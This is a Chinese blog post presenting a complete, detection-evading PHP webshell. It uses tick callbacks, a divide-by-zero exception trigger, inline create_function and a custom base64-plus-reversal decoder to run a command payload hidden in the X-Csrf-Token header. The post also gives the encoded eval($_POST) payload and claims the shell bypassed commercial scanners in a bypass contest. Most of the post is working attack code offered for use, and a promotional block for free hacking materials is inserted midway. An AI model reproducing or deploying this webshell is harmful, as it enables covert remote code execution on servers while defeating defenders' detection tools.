记录一个免杀的php webshell demo
异常捕获机制这里使用的是触发异常来完成程序控制流的第一次分支所以我自己写了一个除以0触发异常的函数function safeDivide($a, $b) { if ($b 0) { throw new Exception(Division by zero is not allowed.); } return $a / $b; }设置一个pass传参我设置的主体框架如下try { echo result:.safeDivide(2025, ($_GET[pass]-1)); }catch(Exception $e){ // evil code }回调我在php的官方文档里翻到一个有趣的函数ticks参数可以设置Zend VM opcode执行条数后触发我们测试一下?php declare(ticks15); function test(){ echo this is evil code\n; } register_tick_function(test); for ($i 1; $i 12; $i) { echo shell: $i\n; }我们可以发现设置declare(ticks15) 后PHP每累计到约15个“tickable”执行点就调用一次通过register_tick_function注册的函数。那么对于我们的webshell免杀我们也可以利用这个函数来完成程序控制流的改变此处的设计将declare回调放在最外层实现第一次的控制流变化将异常触发放在内层实现第二次【----帮助网安学习以下所有学习资料免费领加vxYJ-2021-1备注 “博客园” 获取】① 网安学习成长路径思维导图② 60网安经典常用工具包③ 100SRC漏洞分析报告④ 150网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集含答案⑧ APP客户端安全检测指南安卓IOS动态函数调用这个就是直接使用php的函数了没啥好说的了create_function(string $args, string $code): string实际测试的时候如果使用变量接受的话容易被检测$a create_function(, ); $a();不使用变量来存匿名函数这个也是尽量减少污点分析时候的特征create_function(,)))();编码混淆找个大模型一把梭base64和逆序function custom_base64_decode($input) { $base64Chars ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/; $input rtrim($input, ); $binaryString ; foreach (str_split($input) as $char) { $index strpos($base64Chars, $char); if ($index false) { throw new Exception(Invalid Base64 character: $char); } $binaryString . str_pad(decbin($index), 6, 0, STR_PAD_LEFT); } $bytes str_split($binaryString, 8); $decodedString ; foreach ($bytes as $byte) { $decodedString . chr(bindec($byte)); } return $decodedString; } function reverseString($input) { if (!is_string($input)) { return need str; } $length strlen($input); $reversed ; for ($i $length - 1; $i 0; $i--) { $reversed . $input[ $i ]; } return $reversed; }完整的webshell源代码具体的攻击载荷放在http的X-Csrf-Token里?php session_start(); declare(ticks15); function safeDivide($a, $b) { if ($b 0) { throw new Exception(Division by zero is not allowed.); } return $a / $b; } function custom_base64_decode($input) { $base64Chars ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/; $input rtrim($input, ); $binaryString ; foreach (str_split($input) as $char) { $index strpos($base64Chars, $char); if ($index false) { throw new Exception(Invalid Base64 character: $char); } $binaryString . str_pad(decbin($index), 6, 0, STR_PAD_LEFT); } $bytes str_split($binaryString, 8); $decodedString ; foreach ($bytes as $byte) { $decodedString . chr(bindec($byte)); } return $decodedString; } function reverseString($input) { if (!is_string($input)) { return need str; } $length strlen($input); $reversed ; for ($i $length - 1; $i 0; $i--) { $reversed . $input[ $i ]; } return $reversed; } function tickHandler(){ try { echo result:.safeDivide(2025, ($_GET[pass]-1)); }catch(Exception $e){ create_function(,custom_base64_decode(reverseString(apache_request_headers()[X-Csrf-Token])))(); } } register_tick_function(tickHandler); for ($i 1; $i 12; $i) { echo shell: $i\n; }测试环境PHP版本PHP7全版本OSWindows和Linux环境均测试通过使用方法初始payloadeval($_POST[1]);base64编码逆序处理wOp0VMbR1UPB1XkgCbhZXZ放在http头部里webshell连接免杀效果展示第四届伏魔挑战赛成功绕过white的截图VTD盾(2.1.8.6)河马报了可疑